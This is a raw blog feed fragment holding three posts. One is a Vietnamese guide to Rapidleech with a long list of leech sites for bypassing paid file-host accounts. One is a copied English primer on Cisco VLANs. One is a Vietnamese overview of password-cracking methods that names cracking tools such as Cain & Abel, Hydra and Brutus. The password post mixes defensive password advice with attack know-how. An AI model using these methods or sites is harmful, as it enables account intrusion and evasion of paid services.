/&gt;Rapidleech là gì?&lt;br /&gt;&lt;br /&gt;Rapidleech là 1 công cụ (phần mềm web) cho phép bạn download miễn phí các file từ các website chia sẻ nổi tiếng thế giới như Rapidshare.com, Megaupload.com, FileFactory.com...&lt;br /&gt;&lt;br /&gt;"leech" dịch qua tiếng Việt nghĩa là "con đỉa", "đeo bám". Mà con đỉa thì hút máu từ chủ thể sang cơ thể nó. Rapidleech cũng tương tự thế, nó hút/download file trên các website chia sẻ về nơi đang lưu trữ công cụ Rapidleech. Từ đó ta có thể dùng các phần mềm download như Flashget, Internet Download Manager download về mà không cần dùng đến tài khoản Premium (trả tiền). Giải thích nôm na như thế, hi vọng các bạn sẽ cảm thấy dễ hiểu.&lt;br /&gt;&lt;br /&gt;Làm sao để có công cụ Rapidleech?&lt;br /&gt;&lt;br /&gt;Có 2 cách:&lt;br /&gt;&lt;br /&gt;   1. Cách 1: bạn chọn 1 trong các địa chỉ ở cuối trang này (download rất nhanh)&lt;br /&gt;   2. Cách 2: bạn cài đặt Rapidleech lên localhost (download sẽ rất chậm), cài đặt thế nào thì Admin sẽ có bài viết hướng dẫn khác.&lt;br /&gt;&lt;br /&gt;Hướng dẫn download&lt;br /&gt;&lt;br /&gt;1. Khi truy cập vào website Rapidleech (1 trong các địa chỉ ở cuối trang), bạn sẽ thấy màn hình sau:&lt;br /&gt;&lt;br /&gt;2. Bạn dán link của Rapidshare vào ô Link to download, rồi nhấn Download File&lt;br /&gt;&lt;br /&gt;3. Sau đó, bạn đợi 1 khoảng thời gian ngắn để đồng hồ đếm ngược về 0 (chừng 1 phút đổ lại)&lt;br /&gt;&lt;br /&gt;4. Khách vãng lai sẽ thấy xuất hiện 4 ký tự, hãy nhập 4 ký tự này vào ô bên dưới nó (chữ thường chữ hoa đều được, số 0 hay chữ O cũng như nhau)&lt;br /&gt;&lt;br /&gt;5. Đợi 1 khoảng thời gian ngắn, bạn sẽ nhận được link để download trực tiếp bằng Flashget, IDM...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lỗi thường gặp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dòng thông báo "Download limit exceeded. You have to wait 12 minute(s) until the next download" xuất hiện vì có người nào đó đã dùng trang này để download trước bạn. Bạn phải chờ sau 12 phút mới có thể download.&lt;br /&gt;&lt;br /&gt;Sau khi hết 12 phút, bạn phải thử download lại ngay, nếu không, có ai "nhanh tay" hơn, họ sẽ "giành" quyền download, nghĩa là bạn lại phải đợi tiếp.&lt;br /&gt;&lt;br /&gt;Mẹo: Thay vì ngồi đợi thời gian dài thế này, bạn có thể chọn 1 trang Rapidleech khác (1 trong các link bên dưới) để download.&lt;br /&gt;&lt;br /&gt;Nói chung, nếu vào thấy lỗi, thì chọn 1 link khác&lt;br /&gt;&lt;br /&gt;Xem: Hướng dẫn download Rapidshare bằng tay không (không dùng Rapidleech, không có tài khoản Premium)&lt;br /&gt;Download bằng Premium Generator: http://www.rapid4free.com&lt;br /&gt;&lt;br /&gt;Danh sách các địa chỉ có Rapidleech do chính Diễn đàn Tin học Việt Nam sưu tầm:&lt;br /&gt;&lt;br /&gt;   1. http://rapidleech.1kho.com (Dùng tài khoản Premium, download nhanh, giới hạn 25GB/5 ngày)&lt;br /&gt;   2. http://rapidshare.downloader.googlepages.com&lt;br /&gt;   3. http://www.hosthot.info/leech/index.php&lt;br /&gt;   4. http://208.78.173.8/~vndownlo/&lt;br /&gt;   5. http://www1.rapidleech.vn&lt;br /&gt;   6. http://www2.rapidleech.vn&lt;br /&gt;   7. http://www3.rapidleech.vn&lt;br /&gt;   8. http://www.123bongda.net&lt;br /&gt;   9. http://rapid.aloxovn.com&lt;br /&gt;  10. http://rapid0.aloxovn.com&lt;br /&gt;  11. http://free4all.aloxovn.com&lt;br /&gt;  12. http://rapid1.aloxovn.com&lt;br /&gt;  13. http://rapid2.aloxovn.com&lt;br /&gt;  14. http://rapid3.aloxovn.com&lt;br /&gt;  15. http://www.tgshare.com/index.php&lt;br /&gt;  16. http://van.hostagig.com/Bimat&lt;br /&gt;  17. http://load-nhacvn.co.uk/rapids/index.php&lt;br /&gt;  18. http://www.4musicfree.com/Leech/index.php&lt;br /&gt;  19. http://dropszonepanel.com/rapidleech&lt;br /&gt;  20. http://alolove.4vn.in&lt;br /&gt;  21. http://gamesrodd.com/gaming&lt;br /&gt;  22. http://hendy.li/index.php&lt;br /&gt;  23. http://dentistho.com/rapidleech/index.php&lt;br /&gt;  24. http://info-tinhyeuhoctro.com/kill/dl/hnam.php&lt;br /&gt;  25. http://chanquadimat.com/rpleech/index.php&lt;br /&gt;  26. http://grovesexuality.info/rapi/&lt;br /&gt;  27. http://freakystreaks.net/backup/&lt;br /&gt;  28. http://ala.love.free.fr/rapid/&lt;br /&gt;  29. http://www.evilartix.com/leech2/&lt;br /&gt;  30. http://haghighatpour.com/&lt;br /&gt;  31. http://newjeuxweb.net/rapide/index.php&lt;br /&gt;  32. http://haddok.co.uk/rapid/&lt;br /&gt;  33. http://www.gamesrodd.com/gaming/&lt;br /&gt;  34. http://thanlong.com/quanglh/rapidleech&lt;br /&gt;  35. http://filmloaderone.com/a/index.php&lt;br /&gt;  36. http://www.jackiechun.yurx.com/&lt;br /&gt;  37. http://www.4musicfree.com/Leech/&lt;br /&gt;  38. http://arch18.freewebhosting360.com/&lt;br /&gt;  39. http://vieclam.org/rapid/&lt;br /&gt;  40. http://www.rand0m-stuff.com/rl/index1.php&lt;br /&gt;  41. http://info-tinhyeuhoctro.com/kill/dl/hnam.php&lt;br /&gt;  42. http://chanquadimat.com/rpleech/index.php&lt;br /&gt;  43. http://grovesexuality.info/rapi/&lt;br /&gt;  44. http://gamesrodd.com/gaming/index.php&lt;br /&gt;  45. http://nhactxq.com/fetch/&lt;br /&gt;  46. http://filmloaderone.com/a/index.php&lt;br /&gt;  47. http://dropszonepanel.com/rapidleech/index.php&lt;br /&gt;  48. http://www.kruubon.com/rapidleech/&lt;br /&gt;  49. http://freakystreaks.net/backup/&lt;br /&gt;  50. http://biggunseafood.com/leechlinkneo/&lt;br /&gt;  51. http://thanlong.com/quanglh/rapidleech/index.php&lt;br /&gt;  52. http://scorat.com/up/index.php&lt;br /&gt;  53. http://www.rapidhelp.us/RL/&lt;br /&gt;&lt;br /&gt;__________________&lt;br /&gt;www.DIENDANTINHOC.vn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-3010518913479430268?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/3010518913479430268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=3010518913479430268' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3010518913479430268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3010518913479430268'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/hng-dn-download-rapidshare-bng.html' title='Hướng dẫn download Rapidshare bằng Rapidleech'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-709690522737172359</id><published>2008-09-30T02:29:00.000-07:00</published><updated>2008-09-30T02:30:37.688-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VLAN'/><title type='text'>What is a VLAN? How to Setup a VLAN on a Cisco Switch</title><content type='html'>url:http://www.petri.co.il/csc_setup_a_vlan_on_a_cisco_switch.htm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is a VLAN? How to Setup a VLAN on a Cisco Switch&lt;br /&gt;&lt;br /&gt;Have you ever wondered what a Virtual LAN (or VLAN) is or been unclear as to why you would want one? If so, I have been in your place at one time too. Since then, I have learned a lot about what a VLAN is and how it can help me. In this article, I will share that knowledge with you.&lt;br /&gt;&lt;br /&gt;Preparing for Cisco CCNP Exams? These are the videos you need to get certified...&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Whether you are studying for the BCSI, BCMSN, ONT, ISCW or all four, Train Signal's Cisco CCNP Training Series is the best out there. The instructor uses a "hands-on" method for teaching complex technologies. Each video covers all the bases and gives you more than enough test prep to pass any of your CCNP exams!&lt;br /&gt;&lt;br /&gt;Daniel Petri&lt;br /&gt;&lt;br /&gt;Click Here to Watch the Cisco CCNP Training Videos!&lt;br /&gt;What is a LAN?&lt;br /&gt;&lt;br /&gt;Okay, most of you already know what a LAN is but let’s give it a definition to make sure. We have to do this because, if you don’t know what a LAN is, you can’t understand what a VLAN is.&lt;br /&gt;&lt;br /&gt;A LAN is a local area network and is defined as all devices in the same broadcast domain. If you remember, routers stop broadcasts, switches just forward them.&lt;br /&gt;What is a VLAN?&lt;br /&gt;&lt;br /&gt;As I said, a VLAN is a virtual LAN. In technical terms, a VLAN is a broadcast domain created by switches. Normally, it is a router creating that broadcast domain. With VLAN’s, a switch can create the broadcast domain.&lt;br /&gt;&lt;br /&gt;This works by, you, the administrator, putting some switch ports in a VLAN other than 1, the default VLAN. All ports in a single VLAN are in a single broadcast domain.&lt;br /&gt;&lt;br /&gt;Because switches can talk to each other, some ports on switch A can be in VLAN 10 and other ports on switch B can be in VLAN 10. Broadcasts between these devices will not be seen on any other port in any other VLAN, other than 10. However, these devices can all communicate because they are on the same VLAN. Without additional configuration, they would not be able to communicate with any other devices, not in their VLAN. &lt;br /&gt;Are VLANs required?&lt;br /&gt;&lt;br /&gt;It is important to point out that you don’t have to configure a VLAN until your network gets so large and has so much traffic that you need one. Many times, people are simply using VLAN’s because the network they are working on was already using them.&lt;br /&gt;&lt;br /&gt;Another important fact is that, on a Cisco switch, VLAN’s are enabled by default and ALL devices are already in a VLAN. The VLAN that all devices are already in is VLAN 1. So, by default, you can just use all the ports on a switch and all devices will be able to talk to one another.&lt;br /&gt;When do I need a VLAN?&lt;br /&gt;&lt;br /&gt;You need to consider using VLAN’s in any of the following situations:&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      You have more than 200 devices on your LAN&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      You have a lot of broadcast traffic on your LAN&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Groups of users need more security or are being slowed down by too many broadcasts?&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Groups of users need to be on the same broadcast domain because they are running the same applications. An example would be a company that has VoIP phones. The users using the phone could be on a different VLAN, not with the regular users.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Or, just to make a single switch into multiple virtual switches. &lt;br /&gt;&lt;br /&gt;Why not just subnet my network?&lt;br /&gt;&lt;br /&gt;A common question is why not just subnet the network instead of using VLAN’s? Each VLAN should be in its own subnet. The benefit that a VLAN provides over a subnetted network is that devices in different physical locations, not going back to the same router, can be on the same network. The limitation of subnetting a network with a router is that all devices on that subnet must be connected to the same switch and that switch must be connected to a port on the router.&lt;br /&gt;&lt;br /&gt;With a VLAN, one device can be connected to one switch, another device can be connected to another switch, and those devices can still be on the same VLAN (broadcast domain).&lt;br /&gt;How can devices on different VLAN’s communicate?&lt;br /&gt;&lt;br /&gt;Devices on different VLAN’s can communicate with a router or a Layer 3 switch. As each VLAN is its own subnet, a router or Layer 3 switch must be used to route between the subnets.&lt;br /&gt;What is a trunk port?&lt;br /&gt;&lt;br /&gt;When there is a link between two switches or a router and a switch that carries the traffic of more than one VLAN, that port is a trunk port.  &lt;br /&gt;&lt;br /&gt;A trunk port must run a special trunking protocol. The protocol used would be Cisco’s proprietary Inter-switch link (ISL) or the IEEE standard 802.1q.&lt;br /&gt;How do I create a VLAN?&lt;br /&gt;&lt;br /&gt;Configuring VLAN’s can vary even between different models of Cisco switches. Your goals, no matter what the commands are, is to:&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Create the new VLAN’s&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Put each port in the proper VLAN &lt;br /&gt;&lt;br /&gt;Let’s say we wanted to create VLAN’s 5 and 10. We want to put ports 2 &amp; 3 in VLAN 5 (Marketing) and ports 4 and 5 in VLAN 10 (Human Resources). On a Cisco 2950 switch, here is how you would do it:&lt;br /&gt;&lt;br /&gt;At this point, only ports 2 and 3 should be able to communicate with each other and ports 4 &amp; 5 should be able to communicate. That is because each of these is in its own VLAN. For the device on port 2 to communicate with the device on port 4, you would have to configure a trunk port to a router so that it can strip off the VLAN information, route the packet, and add back the VLAN information.&lt;br /&gt;What do VLAN’s offer?&lt;br /&gt;&lt;br /&gt;VLAN’s offer higher performance for medium and large LAN’s because they limit broadcasts. As the amount of traffic and the number of devices grow, so does the number of broadcast packets. By using VLAN’s you are containing broadcasts.&lt;br /&gt;&lt;br /&gt;VLAN’s also provide security because you are essentially putting one group of devices, in one VLAN, on their own network.&lt;br /&gt;Article Summary&lt;br /&gt;&lt;br /&gt;Here is what we have learned:&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      A VLAN is a broadcast domain formed by switches&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Administrators must create the VLAN’s then assign what port goes in what VLAN, manually.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      VLAN’s provide better performance for medium and large LAN’s.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      All devices, by default, are in VLAN 1.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      A trunk port is a special port that runs ISL or 802.1q so that it can carry traffic from more than one VLAN.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      For devices in different VLAN’s to communicate, you must use a router of Layer 3 switch.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-709690522737172359?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/709690522737172359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=709690522737172359' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/709690522737172359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/709690522737172359'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/what-is-vlan-how-to-setup-vlan-on-cisco.html' title='What is a VLAN? How to Setup a VLAN on a Cisco Switch'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-625981561995704619</id><published>2008-09-26T11:24:00.000-07:00</published><updated>2008-09-26T11:25:42.054-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Password Cracking'/><title type='text'>Giới thiệu các phương thức Cr@ck Passwords - Cách đề phòng</title><content type='html'>Giới thiệu các phương thức Cr@ck Passwords - Cách đề phòng&lt;br /&gt;Giới thiệu các phương thức Cr@ck Passwords - Cách đề phòng&lt;br /&gt;Username Password là hai vấn đề nhạy cảm nhất trong một máy tính, một mạng nhỏ cho tới mạng Internet. Trong bài viết này tôi trình bày với các bạn tổng quát về các phương thức xác thực, các cách phá mật khẩu và các Tools sử dụng để phá mật khẩu. Từ đó các bạn sẽ biết cách tự bảo vệ mình trước các cuộc tấn công.&lt;br /&gt;Trong bài viết này tôi sẽ trình bày chi tiết với các bạn những phần sau:&lt;br /&gt;- Authentication – xác thực&lt;br /&gt;- Authentication Mechanisms – Các phương thức xác thực&lt;br /&gt;- Phá Password&lt;br /&gt;- Những tấn công dựa vào phá Password&lt;br /&gt;- Thực hiện một quá trình phá Password&lt;br /&gt;- Phân chia các loại tấn công&lt;br /&gt;- Các công cụ sử dụng để phá Password.&lt;br /&gt;- Các phương thức cụ thể.&lt;br /&gt;Các bước tiến hành trong quá trình tấn công phá mật khẩu&lt;br /&gt;1. Xác thực – Authentication&lt;br /&gt;- Xác thực là một quá trình nhận dạng người dùng&lt;br /&gt;- Trong hệ thống mạng máy tính, xác thực chủ yếu sử dụng LoginID (Username) và Password.&lt;br /&gt;- Biết mật khẩu của một tài khoản là điều cần thiết để xác thực&lt;br /&gt;- Nhưng Password có thể bị mất, bị đánh cắp, bị thay đổi và bị phá, điều này dẫn tới nguy cơ bảo mật cho hệ thống.&lt;br /&gt;2. Các phương thức xác thực&lt;br /&gt;Hầu hết các phương thức xác thực đều dựa trên:&lt;br /&gt;+ Những gì bạn biết (Username Password)&lt;br /&gt;+ Những gì bạn có (Smart Card, Certificate)&lt;br /&gt;+ Những gì là bạn (Sinh trắc học)&lt;br /&gt;- HTTP Authentication – Xác thực trên WEB.&lt;br /&gt;+ Basic Authentication&lt;br /&gt;+ Digest Authentication&lt;br /&gt;- Kết hợp với phương thức xác thực NTLM của Windows&lt;br /&gt;- Negotiate Authentication – Thỏa thuận xác thực&lt;br /&gt;- Xác thực dựa vào Certificate.&lt;br /&gt;- Xác thực dựa vào Forms&lt;br /&gt;- Xác thực dựa vào RSA Secure Token&lt;br /&gt;- Xác thực dựa vào Sinh trắc học (xác thực vân tay, mặt, mắt….)&lt;br /&gt;2.1. HTTP Authentications&lt;br /&gt;a. Basic Authentication&lt;br /&gt;- Là một phương thức xác thực phổ thông có trên nền tảng ứng dụng Web.&lt;br /&gt;- Nó sẽ xuất hiện ra khi Client yêu cầu những thông tin phải được xác thực.&lt;br /&gt;- Giới hạn những giao thức, cho phép những kẻ tấn công khai thác.&lt;br /&gt;- Sử dụng SSL để mã hóa dữ liệu Username Password để truyền giữa Client và Server.&lt;br /&gt;b. Degest Authentication&lt;br /&gt;- Được thiết kế để nâng cao bảo mật hơn phương thức Basic Authentication&lt;br /&gt;- Được dựa trên nền tảng xác thực Challenge-Response&lt;br /&gt;- Nâng cao bảo bảo mật hơn phương thức Basic Authentication, hệ thống sẽ mã hóa Usernaem Password trước khi truyền đi trên mạng.&lt;br /&gt;2.2. Kết hợp với phương thức xác thực NTLM của Windows&lt;br /&gt;- Sử dụng công nghệ xác thực NT LAN Manager (NTLM) cho HTTP&lt;br /&gt;- Chỉ làm việc với IE và trên nền tảng Web server là IIS.&lt;br /&gt;- Kết hợp với xác thực trên Windows sẽ thích hợp cho môi trường mạng cục bộ của doanh nghiệp&lt;br /&gt;- Nó là một phương thức xác thực mà không phải truyền bất kỳ thông tin nào về Username password trên mạng.&lt;br /&gt;2.3. Xác thực Negotiate.&lt;br /&gt;- Đây là một phương thức xác thực mở rộng cho NTLM Authentication&lt;br /&gt;- Cung cấp xác thực dựa trên nền tảng Kerberos&lt;br /&gt;- Sử dụng quá trình thương lượng để quyết định mức độ bảo mật được sử dụng.&lt;br /&gt;- Nó được cấu hình và sử dụng không chỉ cho mạng cục bộ.&lt;br /&gt;2.4. Xác thực dựa vào Certificate.&lt;br /&gt;- Sử dụng Public Key để mã hóa và chứng chỉ số (Digital Certificate) để xác thực người dùng.&lt;br /&gt;- Nó được quan tâm và kết hợp với phương thức xác thực two-factor. Khi một người dùng biết được Username Password người đó còn phải cung cấp Certificate nữa thì mới được xác thực.&lt;br /&gt;- Người dùng có thể bị đánh cắp Certtificate.&lt;br /&gt;- Rất nhiều phần mềm hiện nay hỗ trợ xác thực qua chứng chỉ số.&lt;br /&gt;2.5. Xác thực dựa vào Forms-Based.&lt;br /&gt;- Nó không được hỗ trợ trên nền tảng HTTP và SSL&lt;br /&gt;- Nó là một lựa chọn cao cấp cho phương thức xác thực sử dụng một Form, và thường tích hợp dạng HTML.&lt;br /&gt;- Là một phương thức xác thực rất phổ biết trên Internet.&lt;br /&gt;2.6. Phương thức xác thực RSA SecurID Token&lt;br /&gt;- PHương thức xác thực SecureID sử dụng một "token – Vé, card). Có một thiết bị phần cứng sẽ sinh ra các mã xác thực sau mỗi 60 giây và sử dụng một tấm Card để giải mã key.&lt;br /&gt;- Một người dùng thực hiện quá trình xác thực và tài nguyên mạng sẽ phải điền mã PIN và số hiển thị cho SecureID cho mỗi thời gian đó.&lt;br /&gt;2.7. Biometrics Authentications&lt;br /&gt; This image has been resized. Click this bar to view the full image. The original image is sized 597x303.&lt;br /&gt;- Một hệ thống xác thực dựa vào Sinh trắc học sẽ phải có những thiết bị nhận diện được người dùng dựa vào các yếu tố sinh học như: Vân tay, mắt, mặt, bàn tay….&lt;br /&gt;- Đây là một phương thức xác thực có tính bảo mật rất cao và thuận tiện cho người sử dụng không phải nhớ mật khẩu hay mang theo một tấm Card.&lt;br /&gt;3. Làm thế nào để có một mật khẩu bảo mật.&lt;br /&gt;- Áp đặt chính sách độ dài tối thiểu của mật khẩu là 8 và tốt nhất là 15&lt;br /&gt;- Yêu cầu phải có những ký tự đặc biệt, số, chữ hoa, chữ thường trong một mật khẩu&lt;br /&gt;- Không sử dụng bất kỳ từ khóa nào trong từ điển English hay những nước khác&lt;br /&gt;- Không sử dụng Password giông tên Username, và phải thay đổi thường xuyên&lt;br /&gt;- Chọn Password bạn dễ dàng sử dụng mà người khác khó đoán biết được.&lt;br /&gt;4. Những khuyến cáo đặt password khác&lt;br /&gt;- Đừng bao giờ chỉ đặt một ký tự đặc biệt sau một từ khóa ví dụ: Không đặt password là: vnexperts1&lt;br /&gt;- Đừng bao giờ sử dụng ghép hai từ với nhau để được một Password ví như: vnevne&lt;br /&gt;- Không đặt Password dễ đoán&lt;br /&gt;- Không đặt password quá ngắn&lt;br /&gt;- Không đặt Password mà từ thường xuyên gõ đúng như: asdf;lkj&lt;br /&gt;- Hãy thay đổi mật khẩu thường xuyên ít nhất một tháng một lần – Hãy thay đổi ngay lập tức khi phát hiện ra mật khẩu của mình bị người khác sử dụng.&lt;br /&gt;- Đừng bao giờ chứa Password trên máy tính của bạn – nhiều người có thói quen vào các trang web và lưu lại mật khẩu của mình điều này không bảo mật bởi mã hóa trong máy tính dễ dàng bị giải mã.&lt;br /&gt;- Các mật khẩu trong Windows lưu vào các file .pwl không được bảo mật.&lt;br /&gt;- Không nói cho người khác biết mật khẩu của mình.&lt;br /&gt;- Không gửi mail và tránh đặt trùng Password trên nhiều ứng dụng&lt;br /&gt;- Không ghi Password của mình ra cho dễ nhớ.&lt;br /&gt;- Khi gõ Password hãy cẩn thận với các loại Keyloger và người xem chộm&lt;br /&gt;5. Hacker lấy mật khẩu của bạn qua những phương pháp.&lt;br /&gt;- Xem bạn gõ mật khẩu&lt;br /&gt;- Tìm xem bạn có ghi mật khẩu của mình ra giấy hay không&lt;br /&gt;- Đoán mật khẩu dựa vào các số quen thuộc như: 123456, 654321…&lt;br /&gt;- Sử dụng phương thức tấn công Brute Force&lt;br /&gt;+ Đây là phương thức tổng hợp các ký tự lần lượt để tấn tìm ra mật khẩu.&lt;br /&gt;- Sử dụng phương thức tấn công Dictionary Attack&lt;br /&gt;+ Phương thức tấn công này tìm mật khẩu trong một bộ từ điển được sinh ra trước đó.&lt;br /&gt;- Cách tạo ra một mật khẩu khó:&lt;br /&gt;+ Chẳng hạn mật khẩu của tôi ban đầu định đặt là: yeuemnhieu&lt;br /&gt;+ Giờ tôi viết hoa chữ Y và chữ U thành: YeUemnhieU&lt;br /&gt;+ Chữ E trong bảng chữ cái đứng vị chí 5 mật khẩu tôi thành: Y5U5mnhi5U&lt;br /&gt;+ Chữ i tôi đổi thành ! mật khẩu thành Y5U5mnh!5U&lt;br /&gt;+ Password của tôi đủ 10 ký tự có số, có hoa, có thường, có ký tự đặc biệt.&lt;br /&gt;6. Xóa Password đã được lưu trong vWindows XP&lt;br /&gt;- Vào run gõ: Rundll32.exe Keymgr.dll, KRShowKeyMgr&lt;br /&gt;- Sẽ hiện ra bảng tương tự dưới đây và bạn hãy xóa hết những mật khẩu đã được lưu trong hệ thống.&lt;br /&gt;7. Phá mật khẩu tổng quát&lt;br /&gt;- Về định nghĩa một Password Cr@cker là chương trình có thể giải mã được mật khẩu hay có thể vô hiệu hóa được mật khẩu.&lt;br /&gt;- Password Cr@cker có hai phương pháp chính đó là: Brute Force và Dictionary Attack, ngoài ra hiện nay mới có chương trình phá mật khẩu thông minh hơn hai kiểu cổ điển trên đó là phương thức tìm Password: Smart Table Recovery – đáp ứng tốc độ tìm mật khẩurất nhanh.&lt;br /&gt;- Password Cr@cker cũng có thể là một chương trình dùng để giải mã những mật khẩu đã được mã hóa, ví như các mật khẩu được lưu trong IE, Firefox,…&lt;br /&gt;8. Mục tiêu của các chương trình tìm mật khẩu.&lt;br /&gt;- Trên hệ thống Windows và Linux có hai tài khoản toàn quyền trong hệ thống đó là: root và Administrator, và mục tiêu tấn công là tìm được password của hai tài khoản đó&lt;br /&gt;- Khi tìm được Password của tài khoản có quyền quản trị kẻ tấn công sẽ toàn quyền với máy đích.&lt;br /&gt;- Kẻ tấn công cũng có thể dùng các phần mềm Sniffer để tóm các gói tin Username Password được truyền đi trong hệ thống mạng.&lt;br /&gt;- Và ảnh hưởng của việc bị chiếm mất quyền quản trị tùy thuộc hoàn toàn vào dữ liệu và các ứng dụng trong hệt hống.&lt;br /&gt;9. Chương trình Password Cr@cker hoạt động như thế nào ?&lt;br /&gt;&lt;br /&gt;- Để hiểu được một Password Cr@cker làm việc như thế nào chúng ta cần phải hiểu được các chương trình quản lý Password thực hiện ra sao. Hầu hết các chương trình quản lý Password đều mã hóa Password theo một phương thức nào đó.&lt;br /&gt;- Mật khẩu sau khi được tạo ra và lưu vào trong hệ thống sẽ được mã hóa, hệ thống sẽ chứa Key để giải mã mật khẩu.&lt;br /&gt;- Những phần mềm Password Cr@cker sẽ tìm cách lấy được các đoạn mật mã đó.&lt;br /&gt;-Sau khi đã lấy được các đoạn mật mã trên máy của nạn nhân chúng sẽ tiến hành giải mã mật khẩu bằng những phương thức cụ thể cho từng tình huống.&lt;br /&gt;10. Các dạng Password Cr@cker&lt;br /&gt;- Dictionary Attack: Tìm mật khẩu trong một file từ điển tạo sẵn&lt;br /&gt;- Brute Force Attack: Tìm mật khẩu bằng cách tổ hợp các ký tự&lt;br /&gt;- Hybird Attack: Lai giữa hai phương thức trên&lt;br /&gt;- Smart Table Recovery Attack: Phương thức tấn công tìm mật khẩu thông minh nhất dựa trên các bảng dữ liệu – Khoảng 700MB dữ liệu text.&lt;br /&gt;11. Tìm Password bằng phương thức đơn giản&lt;br /&gt;- Đoán mật khẩu&lt;br /&gt;- Thay thế đoạn URL&lt;br /&gt;12. Tìm Password bằng giải mã Cookies&lt;br /&gt;- Với chương trình CT cookie Spy 2.0&lt;br /&gt;- Cookies thương lưu lại rất nhiều thông tin quan trọng của người dùng khi truy cập vào Internet như Username và Password truy cập vào một Website.&lt;br /&gt;- Với phần mềm này bạn có thể tìm kiếm các Cookies được lưu dữ trong hệ thống và giải mã chúng để tìm Username Password.&lt;br /&gt;13. Tấn công Dictionary Attack.&lt;br /&gt;- Tạo từ điển dùng phần mềm: Dictionary Maker&lt;br /&gt; This image has been resized. Click this bar to view the full image. The original image is sized 595x352.&lt;br /&gt;14. Danh sách các Tools Password Cr@ckers&lt;br /&gt;-LophtCr@ck - WebCr@cker&lt;br /&gt;- John The Ripper - Munga Bunga&lt;br /&gt;- Brutus - ReadCookies&lt;br /&gt;- Obiwan - SnadBoy&lt;br /&gt;- Authforce - WinSSLMiM&lt;br /&gt;- Hydra - RAR&lt;br /&gt;- Cain &amp; Abel Gammaprog&lt;br /&gt;Hầu hết các tools này đều miễn phí và nếu có phí thì hoàn toàn Cr@ck được một cách dễ dàng&lt;br /&gt;Hầu hết chúng đều có khả năng sử dụng tất cả các loại tấn công trên, đều có thể Export Username Password từ một hệ thống Local hay Remote.&lt;br /&gt;- Theo kinh nghiệm của tôi hay dùng đó là: Cain &amp; Abel tuy nhiên phần mềm này mạnh về giải mã và Sniffer hơn. LophCr@ck có lẽ Cr@ck khá nhanh bất kỳ password nào dài dưới 10 ký tự máy tính của tôi chỉ cần khoảng hơn 1 giờ là có thể giải mã được.&lt;br /&gt;- John the Ripper đây là phần mềm chuyên phá mật khẩu trong môi trường Unix và sử dụng mã hóa DES, Extend DES, MD5 cũng tích hợp nhiều phương pháp giải mã.&lt;br /&gt;- Brutus là một chương trình Online hay Remote Password Cr@cker. Tấn công tới một hệ thống như máy chủ IIS, Windows, Modem ADSL…. Chúng thử lần lượt Username và Password nhất định để tấn công vào máy chủ&lt;br /&gt;- Obiwan khắc phục nhược điểm của Brutus là có độ trễ khi sử dụng Username Password sai.&lt;br /&gt;- Authforce dựa vào HTTP Basic Authentication hỗ trợ việc thử Username Password tới một site nhất định&lt;br /&gt;- MessenPass có thể giải nén được hầu hết các tài khoản chát như Yahoo, MSN…&lt;br /&gt;Lưu ý từ phiên bản YM 7 password không bao giờ được lưu ở máy Local lên phần mềm này không Cr@ck được.&lt;br /&gt;- Wireless WEP Key Password Spy đây là một tools hỗ trợ giải mã để truy cập vào một hệ thống mạng vWireless đặt mật khẩu.&lt;br /&gt;(Theo Vnexperts Research Department)&lt;br /&gt;__________________&lt;br /&gt; This image has been resized. Click this bar to view the full image. The original image is sized 750x200.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Quy định chung của diễn đàn:&lt;br /&gt;&lt;br 